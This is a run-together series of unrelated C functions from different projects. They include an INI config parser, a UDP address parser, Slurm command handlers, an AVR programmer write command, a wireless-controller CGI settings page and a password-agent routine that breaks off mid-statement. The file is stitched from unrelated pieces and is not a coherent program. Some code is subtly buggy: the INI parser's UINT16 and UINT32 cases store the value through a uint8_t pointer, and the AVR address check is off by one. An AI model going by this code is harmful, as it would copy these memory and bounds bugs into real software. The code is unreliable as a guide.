//// ini_get_var() //// void* ini_get_var(const ini_cfg_t* cfg, int cur_section, char* buf) { int i=0, j=0; int var_id = -1; // find var while(1) { if (buf[i] == '=') { buf[i] = '\0'; break; } else if (buf[i] == '\0') return (void*)0; i++; } // convert to uppercase for (j=0; j<=i; j++) { if (!buf[j]) break; else buf[j] = CHAR_TO_UPPERCASE(buf[j]); } // parse var for (j=0; j<cfg->nvars; j++) { if ((!strcmp(buf, cfg->vars[j].name)) && (cfg->vars[j].section_id == cur_section)) var_id = j; } // get data if (var_id != -1) { ini_parser_debugf("Got VAR '%s' with VALUE %s", buf, &(buf[i+1])); i++; switch (cfg->vars[var_id].type) { case UINT8: *(uint8_t*)(cfg->vars[var_id].var) = strtoul(&(buf[i]), NULL, 0); if (*(uint8_t*)(cfg->vars[var_id].var) > cfg->vars[var_id].max) *(uint8_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].max; if (*(uint8_t*)(cfg->vars[var_id].var) < cfg->vars[var_id].min) *(uint8_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].min; break; case INT8: *(int8_t*)(cfg->vars[var_id].var) = strtol(&(buf[i]), NULL, 0); if (*(int8_t*)(cfg->vars[var_id].var) > cfg->vars[var_id].max) *(int8_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].max; if (*(int8_t*)(cfg->vars[var_id].var) < cfg->vars[var_id].min) *(int8_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].min; break; case UINT16: *(uint8_t*)(cfg->vars[var_id].var) = strtoul(&(buf[i]), NULL, 0); if (*(uint16_t*)(cfg->vars[var_id].var) > cfg->vars[var_id].max) *(uint16_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].max; if (*(uint16_t*)(cfg->vars[var_id].var) < cfg->vars[var_id].min) *(uint16_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].min; break; case INT16: *(int16_t*)(cfg->vars[var_id].var) = strtol(&(buf[i]), NULL, 0); if (*(int16_t*)(cfg->vars[var_id].var) > cfg->vars[var_id].max) *(int16_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].max; if (*(int16_t*)(cfg->vars[var_id].var) < cfg->vars[var_id].min) *(int16_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].min; break; case UINT32: *(uint8_t*)(cfg->vars[var_id].var) = strtoul(&(buf[i]), NULL, 0); if (*(uint32_t*)(cfg->vars[var_id].var) > cfg->vars[var_id].max) *(uint32_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].max; if (*(uint32_t*)(cfg->vars[var_id].var) < cfg->vars[var_id].min) *(uint32_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].min; break; case INT32: *(int32_t*)(cfg->vars[var_id].var) = strtol(&(buf[i]), NULL, 0); if (*(int32_t*)(cfg->vars[var_id].var) > cfg->vars[var_id].max) *(int32_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].max; if (*(int32_t*)(cfg->vars[var_id].var) < cfg->vars[var_id].min) *(int32_t*)(cfg->vars[var_id].var) = cfg->vars[var_id].min; break; #ifdef INI_ENABLE_FLOAT case FLOAT: *(float*)(cfg->vars[var_id].var) = strtof(&(buf[i]), NULL); if (*(float*)(cfg->vars[var_id].var) > cfg->vars[var_id].max) *(float*)(cfg->vars[var_id].var) = cfg->vars[var_id].max; if (*(float*)(cfg->vars[var_id].var) < cfg->vars[var_id].min) *(float*)(cfg->vars[var_id].var) = cfg->vars[var_id].min; break; #endif case STRING: strncpy((char*)(cfg->vars[var_id].var), &(buf[i]), cfg->vars[var_id].max); break; case CUSTOM_HANDLER: ((custom_handler_t*)(cfg->vars[var_id].var))(&(buf[i])); break; } return (void*)(&(cfg->vars[var_id].var)); } return (void*)0; }
static int udp_parse_remote (int link, char * premote) { // This routine will parse a remote address string in any of these forms - // // llll:w.x.y.z:rrrr // llll:name.domain.com:rrrr // llll::rrrr // w.x.y.z:rrrr // name.domain.com:rrrr // // In all examples, "llll" is the local port number that we use for listening, // and "rrrr" is the remote port number that we use for transmitting. The // local port is optional and may be omitted, in which case it defaults to the // same as the remote port. This works fine if the other IMP is actually on // a different host, but don't try that with localhost - you'll be talking to // yourself!! In both cases, "w.x.y.z" is a dotted IP for the remote machine // and "name.domain.com" is its name (which will be looked up to get the IP). // If the host name/IP is omitted then it defaults to "localhost". char * end; int32_t lportno, rport; char host [64], port [16]; if (* premote == '\0') return -1; memset (udp_links [link] . lport, 0, sizeof (udp_links [link] . lport)); memset (udp_links [link] . rhost, 0, sizeof (udp_links [link] . rhost)); memset (udp_links [link] . rport, 0, sizeof (udp_links [link] . rport)); // Handle the llll::rrrr case first if (2 == sscanf (premote, "%d::%d", & lportno, & rport)) { if ((lportno < 1) || (lportno >65535) || (rport < 1) || (rport >65535)) return -1; sprintf (udp_links [link] . lport, "%d", lportno); udp_links [link] . lportno = lportno; sprintf (udp_links [link] . rhost, "localhost"); sprintf (udp_links [link] . rport, "%d", rport); udp_links [link] . rportno = rport; return 0; } // Look for the local port number and save it away. lportno = strtoul (premote, & end, 10); if ((* end == ':') && (lportno > 0)) { sprintf (udp_links [link] . lport, "%d", lportno); udp_links [link] . lportno = lportno; premote = end + 1; } if (sim_parse_addr (premote, host, sizeof (host), "localhost", port, sizeof (port), NULL, NULL)) return -1; sprintf (udp_links [link] . rhost, "%s", host); sprintf (udp_links [link] . rport, "%s", port); udp_links [link] . rportno = atoi (port); if (udp_links [link] . lport [0] == '\0') { strcpy (udp_links [link] . lport, port); udp_links [link] . lportno = atoi (port); } if ((strcmp (udp_links [link] . lport, port) == 0) && (strcmp ("localhost", host) == 0)) fprintf (stderr, "WARNING - use different transmit and receive ports!\n"); return 0; }
extern int scontrol_callerid(int argc, char **argv) { int af, ver = 4; unsigned char ip_src[sizeof(struct in6_addr)], ip_dst[sizeof(struct in6_addr)]; uint32_t port_src, port_dst, job_id; network_callerid_msg_t req; char node_name[MAXHOSTNAMELEN], *ptr; if (argc == 5) { ver = strtoul(argv[4], &ptr, 0); if (ptr && ptr[0]) { error("Address family not an integer"); return SLURM_ERROR; } } if (ver != 4 && ver != 6) { error("Invalid address family: %d", ver); return SLURM_ERROR; } af = ver == 4 ? AF_INET : AF_INET6; if (!inet_pton(af, argv[0], ip_src)) { error("inet_pton failed for '%s'", argv[0]); return SLURM_ERROR; } port_src = strtoul(argv[1], &ptr, 0); if (ptr && ptr[0]) { error("Source port not an integer"); return SLURM_ERROR; } if (!inet_pton(af, argv[2], ip_dst)) { error("scontrol_callerid: inet_pton failed for '%s'", argv[2]); return SLURM_ERROR; } port_dst = strtoul(argv[3], &ptr, 0); if (ptr && ptr[0]) { error("Destination port not an integer"); return SLURM_ERROR; } memcpy(req.ip_src, ip_src, 16); memcpy(req.ip_dst, ip_dst, 16); req.port_src = port_src; req.port_dst = port_dst; req.af = af; if (slurm_network_callerid(req, &job_id, node_name, MAXHOSTNAMELEN) != SLURM_SUCCESS) { fprintf(stderr, "slurm_network_callerid: unable to retrieve callerid data from remote slurmd\n"); return SLURM_FAILURE; } else if (job_id == (uint32_t)NO_VAL) { fprintf(stderr, "slurm_network_callerid: remote job id indeterminate\n"); return SLURM_FAILURE; } else { printf("%u %s\n", job_id, node_name); return SLURM_SUCCESS; } }
static int cmd_write(PROGRAMMER * pgm, struct avrpart * p, int argc, char * argv[]) { char * e; int len, maxsize; char * memtype; unsigned long addr, i; unsigned char * buf; unsigned char b; int rc; int werror; AVRMEM * mem; if (argc < 4) { fprintf(stderr, "Usage: write <memtype> <addr> <byte1> " "<byte2> ... byteN>\n"); return -1; } memtype = argv[1]; mem = avr_locate_mem(p, memtype); if (mem == NULL) { fprintf(stderr, "\"%s\" memory type not defined for part \"%s\"\n", memtype, p->desc); return -1; } maxsize = mem->size; addr = strtoul(argv[2], &e, 0); if (*e || (e == argv[2])) { fprintf(stderr, "%s (write): can't parse address \"%s\"\n", progname, argv[2]); return -1; } if (addr > maxsize) { fprintf(stderr, "%s (write): address 0x%05lx is out of range for %s memory\n", progname, addr, memtype); return -1; } /* number of bytes to write at the specified address */ len = argc - 3; if ((addr + len) > maxsize) { fprintf(stderr, "%s (write): selected address and # bytes exceed " "range for %s memory\n", progname, memtype); return -1; } buf = malloc(len); if (buf == NULL) { fprintf(stderr, "%s (write): out of memory\n", progname); return -1; } for (i=3; i<argc; i++) { buf[i-3] = strtoul(argv[i], &e, 0); if (*e || (e == argv[i])) { fprintf(stderr, "%s (write): can't parse byte \"%s\"\n", progname, argv[i]); free(buf); return -1; } } pgm->err_led(pgm, OFF); for (werror=0, i=0; i<len; i++) { rc = avr_write_byte(pgm, p, mem, addr+i, buf[i]); if (rc) { fprintf(stderr, "%s (write): error writing 0x%02x at 0x%05lx, rc=%d\n", progname, buf[i], addr+i, rc); if (rc == -1) fprintf(stderr, "write operation not supported on memory type \"%s\"\n", mem->desc); werror = 1; } rc = pgm->read_byte(pgm, p, mem, addr+i, &b); if (b != buf[i]) { fprintf(stderr, "%s (write): error writing 0x%02x at 0x%05lx cell=0x%02x\n", progname, buf[i], addr+i, b); werror = 1; } if (werror) { pgm->err_led(pgm, ON); } } free(buf); fprintf(stdout, "\n"); return 0; }
/* * job_will_run2 - Determine if, when and where a pending job can be * initiated with the currently running jobs either preempted * or left running as on other resources * cmd_ptr IN - CMD=JOBWILLRUN ARG=<JOBID> [STARTTIME=<TIME>] * NODES=<AVAIL_NODES> [PREEMPT=<JOBID1>[,<JOBID2> ..]] * err_code OUT - 0 on success or some error code * err_msg OUT - error message if any of the specified jobs can not be started * at the specified time (if given) on the available nodes. * Otherwise information on when and where the pending jobs * will be initiated * ARG=<JOBID> TASKS=<CPU_COUNT> STARTTIME=<TIME> * NODES=<USED_NODES> [PREEMPT=<JOBID1>[,<JOBID2> ..]] * NOTE: xfree() err_msg if err_code is zero * RET 0 on success, -1 on failure */ extern int job_will_run2(char *cmd_ptr, int *err_code, char **err_msg) { char *arg_ptr, *buf, *tmp_buf, *tmp_char; int preemptee_cnt = 0; uint32_t jobid, *preemptee = NULL, tmp_id; time_t start_time; char *avail_nodes = NULL; /* Locks: write job, read node and partition info */ slurmctld_lock_t job_write_lock = { NO_LOCK, WRITE_LOCK, READ_LOCK, READ_LOCK, NO_LOCK }; arg_ptr = strstr(cmd_ptr, "ARG="); if (arg_ptr == NULL) { *err_code = -300; *err_msg = "JOBWILLRUN lacks ARG"; error("wiki: JOBWILLRUN lacks ARG"); return -1; } arg_ptr += 4; jobid = strtoul(arg_ptr, &tmp_char, 10); if ((tmp_char[0] != ' ') && (tmp_char[0] != '\0')) { *err_code = -300; *err_msg = "Invalid ARG value"; error("wiki: JOBWILLRUN has invalid ARG value"); return -1; } arg_ptr = strstr(cmd_ptr, "STARTTIME="); if (arg_ptr) { arg_ptr += 10; start_time = strtoul(arg_ptr, &tmp_char, 10); if ((tmp_char[0] != ' ') && (tmp_char[0] != '\0')) { *err_code = -300; *err_msg = "Invalid STARTTIME value"; error("wiki: JOBWILLRUN has invalid STARTTIME value"); return -1; } } else { start_time = time(NULL); } arg_ptr = strstr(cmd_ptr, "PREEMPT="); if (arg_ptr) { arg_ptr += 8; preemptee = xmalloc(sizeof(uint32_t) * strlen(arg_ptr)); while (1) { tmp_id = strtoul(arg_ptr, &tmp_char, 10); if ((tmp_char[0] != ' ') && (tmp_char[0] != '\0') && (tmp_char[0] != ',')) { *err_code = -300; *err_msg = "Invalid PREEMPT value"; error("wiki: JOBWILLRUN has invalid PREEMPT " "value"); xfree(preemptee); xfree(avail_nodes); return -1; } preemptee[preemptee_cnt++] = tmp_id; if (tmp_char[0] != ',') break; arg_ptr = tmp_char + 1; } } /* Keep this last, since we modify the input string */ arg_ptr = strstr(cmd_ptr, "NODES="); if (arg_ptr) { arg_ptr += 6; avail_nodes = xstrdup(arg_ptr); arg_ptr = strchr(avail_nodes, ' '); if (arg_ptr) arg_ptr[0] = '\0'; } else { *err_code = -300; *err_msg = "Missing NODES value"; error("wiki: JOBWILLRUN lacks NODES value"); xfree(preemptee); return -1; } lock_slurmctld(job_write_lock); buf = _will_run_test2(jobid, start_time, avail_nodes, preemptee, preemptee_cnt, err_code, err_msg); unlock_slurmctld(job_write_lock); xfree(preemptee); xfree(avail_nodes); if (!buf) return -1; tmp_buf = xmalloc(strlen(buf) + 32); sprintf(tmp_buf, "SC=0 ARG=%s", buf); xfree(buf); *err_code = 0; *err_msg = tmp_buf; return 0; }
void ACConfig(instance_parameter *ins_para,struct list *lpublic,struct list *lwcontrol,struct list *lwlan) { int ret = 0; int flag = 1; char *endptr = NULL; char mtu[20] = { 0 }; char log_stat[20] = { 0 }; char log_size[20] = { 0 }; char ap_static_state[5] = { 0 }; int static_state = 0; char ac_exten_infor_switch[10] = { 0 }; char neidead_inter[10] = { 0 }; char asd_arp_listen_switch[10] = { 0 }; char asd_log_level[10] = { 0 }; char response_sta_probe_request[10] = { 0 }; char trap_level[5] = { 0 }; char warm_standby_type[10] = { 0 }; char warm_standby_addr[20] = { 0 }; char ip1[4] = { 0 }; char ip2[4] = { 0 }; char ip3[4] = { 0 }; char ip4[4] = { 0 }; char add_ac_listen_if[50] = { 0 }; char del_ac_listen_if[50] = { 0 }; char user_set_vlan[10] = { 0 }; char country_code[5] = { 0 }; char temp[100] = { 0 }; char max_wlan_num[10] = { 0 }; char max_wtp_num[10] = { 0 }; char max_radio_num[10] = { 0 }; /***********************set wid max mtu*****************************/ memset(mtu,0,sizeof(mtu)); cgiFormStringNoNewlines("mtu",mtu,20); if(strcmp(mtu,"")!=0) { ret = config_wireless_max_mtu(ins_para->parameter,ins_para->connection,mtu); switch(ret) { case -1:ShowAlert(search(lwcontrol,"mtu_num")); flag = 0; break; case 1: break; case -2:ShowAlert(search(lpublic,"oper_fail")); flag = 0; break; } } /***********************set wid log switch*****************************/ memset(log_stat,0,sizeof(log_stat)); cgiFormStringNoNewlines("log",log_stat,20); if(strcmp(log_stat,"")!=0) { ret = set_wid_log_switch_cmd(ins_para->parameter,ins_para->connection,log_stat); switch(ret) { case 1:break; case -1:ShowAlert(search(lpublic,"oper_fail")); flag = 0; break; } } /***********************set wid log switch*****************************/ memset(log_size,0,sizeof(log_size)); cgiFormStringNoNewlines("log_size",log_size,20); if(strcmp(log_size,"")!=0) { ret = set_wid_log_size_cmd(ins_para->parameter,ins_para->connection,log_size); switch(ret) { case -1:flag = 0; ShowAlert(search(lwcontrol,"log_num")); break; case 1:break; case -2:flag = 0; ShowAlert(search(lpublic,"oper_fail")); break; } } /***********************set ap statistics switch*****************************/ memset(ap_static_state,0,sizeof(ap_static_state)); cgiFormStringNoNewlines("ap_static_state",ap_static_state,5); if(strcmp(ap_static_state,"")!=0) { static_state = strtoul(ap_static_state,&endptr,10); ret = set_ap_statistics(ins_para->parameter,ins_para->connection,static_state); switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:flag = 0; ShowAlert(search(lwcontrol,"con_static_state_fail")); break; case 1:break; case -1:flag = 0; ShowAlert(search(lpublic,"error")); break; } } /***********************set all ap extension information switch*****************************/ memset(ac_exten_infor_switch,0,sizeof(ac_exten_infor_switch)); cgiFormStringNoNewlines("ac_exten_infor_switch",ac_exten_infor_switch,10); if(strcmp(ac_exten_infor_switch,"")!=0) { ret = set_ac_all_ap_extension_information_enable_cmd(ins_para->parameter,ins_para->connection,ac_exten_infor_switch); switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:flag = 0; ShowAlert(search(lwcontrol,"con_ac_exten_infor_switch_fail")); break; case 1:break; case -1:flag = 0; ShowAlert(search(lpublic,"input_para_illegal")); break; case -2:flag = 0; ShowAlert(search(lpublic,"error")); break; } } /***********************set neighbordead interval cmd func*****************************/ memset(neidead_inter,0,sizeof(neidead_inter)); cgiFormStringNoNewlines("neidead_inter",neidead_inter,10); if(strcmp(neidead_inter,"")!=0) { ret = set_neighbordead_interval_cmd_func(ins_para->parameter,ins_para->connection,neidead_inter); switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:flag = 0; ShowAlert(search(lwcontrol,"set_neidead_inter_fail")); break; case 1:break; case -1:flag = 0; ShowAlert(search(lwcontrol,"neidead_inter_illegal")); break; case -2:flag = 0; ShowAlert(search(lpublic,"error")); break; } } /***********************set asd sta arp listen cmd*****************************/ memset(asd_arp_listen_switch,0,sizeof(asd_arp_listen_switch)); cgiFormStringNoNewlines("asd_arp_listen_switch",asd_arp_listen_switch,10); if(strcmp(asd_arp_listen_switch,"")!=0) { ret = set_asd_sta_arp_listen_cmd(ins_para->parameter,ins_para->connection,"listen",asd_arp_listen_switch); switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:flag = 0; ShowAlert(search(lwcontrol,"set_asd_arp_listen_switch_fail")); break; case 1:break; case -1:flag = 0; ShowAlert(search(lpublic,"input_para_illegal")); break; } } /***********************set asd daemonlog level cmd*****************************/ memset(asd_log_level,0,sizeof(asd_log_level)); cgiFormStringNoNewlines("asd_log_level",asd_log_level,10); if(strcmp(asd_log_level,"")!=0) { ret = set_asd_daemonlog_level_cmd(ins_para->parameter,ins_para->connection,asd_log_level); switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:flag = 0; ShowAlert(search(lwcontrol,"set_asd_log_level_fail")); break; case 1:break; case -1:flag = 0; ShowAlert(search(lpublic,"input_para_illegal")); break; case -2:flag = 0; ShowAlert(search(lpublic,"error")); break; } } /***********************set wlan not response sta probe request cmd*****************************/ memset(response_sta_probe_request,0,sizeof(response_sta_probe_request)); cgiFormStringNoNewlines("response_sta_probe_request",response_sta_probe_request,10); if(strcmp(response_sta_probe_request,"") != 0) { ret=set_wlan_not_response_sta_probe_request_cmd(ins_para->parameter,ins_para->connection,0,response_sta_probe_request); /*返回0表示失败,返回1表示成功*/ /*返回-1表示input patameter only with 'enable' or 'disable'*/ /*返回-2表示WLAN ID非法,返回-3表示wlan does not exist*/ /*返回-4表示wlan is enable, please disable it first*/ /*返回-5表示you want to some wlan, and the operation of the wlan was not successful*/ /*返回-6表示error*/ /*返回SNMPD_CONNECTION_ERROR表示connection error*/ switch(ret) { case SNMPD_CONNECTION_ERROR: case -5: case 0:ShowAlert(search(lwlan,"set_response_sta_probe_request_fail")); flag=0; break; case 1:break; case -1:ShowAlert(search(lpublic,"input_para_illegal")); flag=0; break; case -2:{ memset(temp,0,sizeof(temp)); strncpy(temp,search(lwlan,"wlan_id_illegal1"),sizeof(temp)-1); memset(max_wlan_num,0,sizeof(max_wlan_num)); snprintf(max_wlan_num,sizeof(max_wlan_num)-1,"%d",WLAN_NUM-1); strncat(temp,max_wlan_num,sizeof(temp)-strlen(temp)-1); strncat(temp,search(lwlan,"wlan_id_illegal2"),sizeof(temp)-strlen(temp)-1); ShowAlert(temp); flag=0; break; } case -3:ShowAlert(search(lwlan,"wlan_not_exist")); flag=0; break; case -4:ShowAlert(search(lwlan,"dis_wlan")); flag=0; break; case -6:ShowAlert(search(lpublic,"error")); flag=0; break; } } /***********************set wid trap open func*****************************/ memset(trap_level,0,sizeof(trap_level)); cgiFormStringNoNewlines("trap_level",trap_level,5); if(strcmp(trap_level,"") != 0) { ret=set_wid_trap_open_func(ins_para->parameter,ins_para->connection,trap_level); /*返回1表示成功,返回0表示失败,返回-1表示error*/ /*返回SNMPD_CONNECTION_ERROR表示connection error*/ switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:ShowAlert(search(lwlan,"set_trap_level_fail")); flag=0; break; case 1:break; case -1:ShowAlert(search(lpublic,"error")); flag=0; break; case -2:ShowAlert(search(lpublic,"input_para_illegal")); flag=0; break; } } /***********************set ac master ipaddr cmd*****************************/ memset(warm_standby_type,0,sizeof(warm_standby_type)); cgiFormStringNoNewlines("warm_standby_type",warm_standby_type,10); memset(warm_standby_addr,0,sizeof(warm_standby_addr)); memset(ip1,0,sizeof(ip1)); cgiFormStringNoNewlines("ip1",ip1,4); strncat(warm_standby_addr,ip1,sizeof(warm_standby_addr)-strlen(warm_standby_addr)-1); strncat(warm_standby_addr,".",sizeof(warm_standby_addr)-strlen(warm_standby_addr)-1); memset(ip2,0,sizeof(ip2)); cgiFormStringNoNewlines("ip2",ip2,4); strncat(warm_standby_addr,ip2,sizeof(warm_standby_addr)-strlen(warm_standby_addr)-1); strncat(warm_standby_addr,".",sizeof(warm_standby_addr)-strlen(warm_standby_addr)-1); memset(ip3,0,sizeof(ip3)); cgiFormStringNoNewlines("ip3",ip3,4); strncat(warm_standby_addr,ip3,sizeof(warm_standby_addr)-strlen(warm_standby_addr)-1); strncat(warm_standby_addr,".",sizeof(warm_standby_addr)-strlen(warm_standby_addr)-1); memset(ip4,0,sizeof(ip4)); cgiFormStringNoNewlines("ip4",ip4,4); strncat(warm_standby_addr,ip4,sizeof(warm_standby_addr)-strlen(warm_standby_addr)-1); if((strcmp(warm_standby_type,"") != 0)&&(strcmp(warm_standby_type,"...") != 0)) { ret=set_ac_master_ipaddr_cmd(ins_para->parameter,ins_para->connection,warm_standby_type,warm_standby_addr); /*返回0表示失败,返回1表示成功*/ /*返回-1表示invalid input,input should be master or bakup*/ /*返回-2表示unknown ip format,返回-3表示more if have this ip*/ /*返回-4表示no if has this ip,返回-5表示please disable it first*/ /*返回-6表示no interface binding this ip*/ /*返回-7表示this ip has not been added or has already been deleted*/ /*返回-8表示error*/ /*返回SNMPD_CONNECTION_ERROR表示connection error*/ switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:ShowAlert(search(lwcontrol,"set_warm_standby_addr_fail")); flag=0; break; case 1:break; case -1:ShowAlert(search(lpublic,"input_para_illegal")); flag=0; break; case -2:ShowAlert(search(lpublic,"unknown_ip_format")); flag=0; break; case -3:ShowAlert(search(lwcontrol,"more_if_have_ip")); flag=0; break; case -4:ShowAlert(search(lwcontrol,"no_if_has_ip")); flag=0; break; case -5:ShowAlert(search(lwcontrol,"disable_it_first")); flag=0; break; case -6:ShowAlert(search(lwcontrol,"no_if_bind_ip")); flag=0; break; case -7:ShowAlert(search(lwcontrol,"this_ip_has_deleted")); flag=0; break; case -8:ShowAlert(search(lpublic,"error")); flag=0; break; } } /***********************set wirelesscontrol listen l3 interface cmd*****************************/ memset(add_ac_listen_if,0,sizeof(add_ac_listen_if)); cgiFormStringNoNewlines("add_ac_listen_if",add_ac_listen_if,50); if(strcmp(add_ac_listen_if,"") != 0) { ret=set_wirelesscontrol_listen_l3_interface_cmd(ins_para->parameter,ins_para->connection,"add",add_ac_listen_if); /*返回0表示失败,返回1表示成功*/ /*返回-1表示interface name is too long,should be no more than 15*/ /*返回-2表示input patameter only with 'add'or 'del'*/ /*返回-3表示 auto ap login switch is enable,you should disable it first*/ /*返回-4表示interface error, no index or interface down*/ /*返回-5表示this interface has not been added or has already been deleted*/ /*返回-6表示interface is down,返回-7表示interface is no flags*/ /*返回-8表示tinterface is no index,返回-9表示interface is no local interface, permission denial*/ /*返回-10表示interface is other hansi listen*/ /*返回SNMPD_CONNECTION_ERROR表示connection error*/ switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:ShowAlert(search(lwcontrol,"add_ac_listen_if_fail")); flag=0; break; case 1:break; case -1:ShowAlert(search(lpublic,"interface_too_long")); flag=0; break; case -2:ShowAlert(search(lpublic,"input_para_illegal")); flag=0; break; case -3:ShowAlert(search(lwlan,"disable_auto_ap_switch")); flag=0; break; case -4:{ memset(temp,0,sizeof(temp)); strncpy(temp,search(lpublic,"inter"),sizeof(temp)-1); strncat(temp,add_ac_listen_if,sizeof(temp)-strlen(temp)-1); strncat(temp,search(lpublic,"inter_err_noindex_isdown"),sizeof(temp)-strlen(temp)-1); ShowAlert(temp); flag=0; break; } case -5:ShowAlert(search(lwcontrol,"this_ip_has_deleted")); flag=0; break; case -6:ShowAlert(search(lwlan,"inter_is_down")); flag=0; break; case -7:ShowAlert(search(lwlan,"inter_is_no_flag")); flag=0; break; case -8:ShowAlert(search(lwlan,"inter_is_no_index")); flag=0; break; case -9:ShowAlert(search(lpublic,"no_local_interface")); flag=0; break; case -10:ShowAlert(search(lwlan,"interface_bind_in_other_hansi")); flag=0; break; } } /***********************set wirelesscontrol listen l3 interface cmd*****************************/ memset(del_ac_listen_if,0,sizeof(del_ac_listen_if)); cgiFormStringNoNewlines("del_ac_listen_if",del_ac_listen_if,50); if(strcmp(del_ac_listen_if,"") != 0) { ret=set_wirelesscontrol_listen_l3_interface_cmd(ins_para->parameter,ins_para->connection,"del",del_ac_listen_if); /*返回0表示失败,返回1表示成功*/ /*返回-1表示interface name is too long,should be no more than 15*/ /*返回-2表示input patameter only with 'add'or 'del'*/ /*返回-3表示 auto ap login switch is enable,you should disable it first*/ /*返回-4表示interface error, no index or interface down*/ /*返回-5表示this interface has not been added or has already been deleted*/ /*返回-6表示interface is down,返回-7表示interface is no flags*/ /*返回-8表示tinterface is no index,返回-9表示interface is no local interface, permission denial*/ /*返回-10表示interface is other hansi listen*/ /*返回SNMPD_CONNECTION_ERROR表示connection error*/ switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:ShowAlert(search(lwcontrol,"add_ac_listen_if_fail")); flag=0; break; case 1:break; case -1:ShowAlert(search(lpublic,"interface_too_long")); flag=0; break; case -2:ShowAlert(search(lpublic,"input_para_illegal")); flag=0; break; case -3:ShowAlert(search(lwlan,"disable_auto_ap_switch")); flag=0; break; case -4:{ memset(temp,0,sizeof(temp)); strncpy(temp,search(lpublic,"inter"),sizeof(temp)-1); strncat(temp,add_ac_listen_if,sizeof(temp)-strlen(temp)-1); strncat(temp,search(lpublic,"inter_err_noindex_isdown"),sizeof(temp)-strlen(temp)-1); ShowAlert(temp); flag=0; break; } case -5:ShowAlert(search(lwcontrol,"this_ip_has_deleted")); flag=0; break; case -6:ShowAlert(search(lwlan,"inter_is_down")); flag=0; break; case -7:ShowAlert(search(lwlan,"inter_is_no_flag")); flag=0; break; case -8:ShowAlert(search(lwlan,"inter_is_no_index")); flag=0; break; case -9:ShowAlert(search(lpublic,"no_local_interface")); flag=0; break; case -10:ShowAlert(search(lwlan,"interface_bind_in_other_hansi")); flag=0; break; } } /***********************set vlan switch cmd*****************************/ memset(user_set_vlan,0,sizeof(user_set_vlan)); cgiFormStringNoNewlines("user_set_vlan",user_set_vlan,10); if(strcmp(user_set_vlan,"") != 0) { ret=set_vlan_switch_cmd(ins_para->parameter,ins_para->connection,user_set_vlan); /*返回0表示失败,返回1表示成功*/ /*返回-1表示error*/ /*返回SNMPD_CONNECTION_ERROR表示connection error*/ switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:ShowAlert(search(lwcontrol,"con_user_set_vlan_fail")); flag=0; break; case 1:break; case -1:ShowAlert(search(lpublic,"error")); flag=0; break; } } /***********************set system country code func*****************************/ memset(country_code,0,sizeof(country_code)); cgiFormStringNoNewlines("country_code",country_code,5); if(strcmp(country_code,"") != 0) { ret=set_system_country_code_func(ins_para->parameter,ins_para->connection,0,0,country_code); /*返回0表示失败,返回1表示成功,返回-1表示input country code should be capital letters*/ /*返回-2表示input country code error,返回-3表示system country code is already Country_code, no need to change*/ /*返回-4表示system country code error,返回-5表示WTP ID非法,返回-6表示Radio ID非法*/ /*返回SNMPD_CONNECTION_ERROR表示connection error*/ switch(ret) { case SNMPD_CONNECTION_ERROR: case 0:ShowAlert(search(lwcontrol,"con_country_code_fail")); flag=0; break; case 1:break; case -1: case -2:ShowAlert(search(lpublic,"input_para_illegal")); flag=0; break; case -3:{ memset(temp,0,sizeof(temp)); strncpy(temp,search(lwcontrol,"country_code_no_need_change1"),sizeof(temp)-1); strncat(temp,country_code,sizeof(temp)-strlen(temp)-1); strncat(temp,search(lwcontrol,"country_code_no_need_change2"),sizeof(temp)-strlen(temp)-1); ShowAlert(temp); flag=0; break; } case -4:ShowAlert(search(lpublic,"sys_err")); flag=0; break; case -5:{ memset(temp,0,sizeof(temp)); strncpy(temp,search(lwlan,"wtp_id_illegal1"),sizeof(temp)-1); memset(max_wtp_num,0,sizeof(max_wtp_num)); snprintf(max_wtp_num,sizeof(max_wtp_num)-1,"%d",WTP_NUM-1); strncat(temp,max_wtp_num,sizeof(temp)-strlen(temp)-1); strncat(temp,search(lwlan,"wtp_id_illegal2"),sizeof(temp)-strlen(temp)-1); ShowAlert(temp); flag = 0; break; } case -6:{ memset(temp,0,sizeof(temp)); strncpy(temp,search(lwlan,"radio_id_illegal1"),sizeof(temp)-1); memset(max_radio_num,0,sizeof(max_radio_num)); snprintf(max_radio_num,sizeof(max_radio_num)-1,"%d",G_RADIO_NUM-1); strncat(temp,max_radio_num,sizeof(temp)-strlen(temp)-1); strncat(temp,search(lwlan,"radio_id_illegal2"),sizeof(temp)-strlen(temp)-1); ShowAlert(temp); flag=0; break; } } } if(flag == 1) { ShowAlert(search(lpublic,"oper_succ")); } }
static void agent_run(unsigned const char key[KDF_HASH_LEN]) { _cleanup_free_ char *path; char *agent_timeout_str; unsigned int agent_timeout; struct sockaddr_un sa, listensa; struct ucred cred; int fd, listenfd; socklen_t len; signal(SIGHUP, agent_cleanup); signal(SIGINT, agent_cleanup); signal(SIGQUIT, agent_cleanup); signal(SIGTERM, agent_cleanup); signal(SIGALRM, agent_cleanup); agent_timeout_str = getenv("LPASS_AGENT_TIMEOUT"); agent_timeout = 60 * 60; /* One hour by default. */ if (agent_timeout_str && strlen(agent_timeout_str)) agent_timeout = strtoul(agent_timeout_str, NULL, 10); if (agent_timeout) alarm(agent_timeout); path = agent_socket_path(); if (strlen(path) >= sizeof(sa.sun_path)) die("Path too large for agent control socket."); fd = socket(AF_UNIX, SOCK_STREAM, 0); memset(&sa, 0, sizeof(sa)); sa.sun_family = AF_UNIX; strlcpy(sa.sun_path, path, sizeof(sa.sun_path)); unlink(path); if (bind(fd, (struct sockaddr *)&sa, SUN_LEN(&sa)) < 0 || listen(fd, 16) < 0) { listenfd = errno; 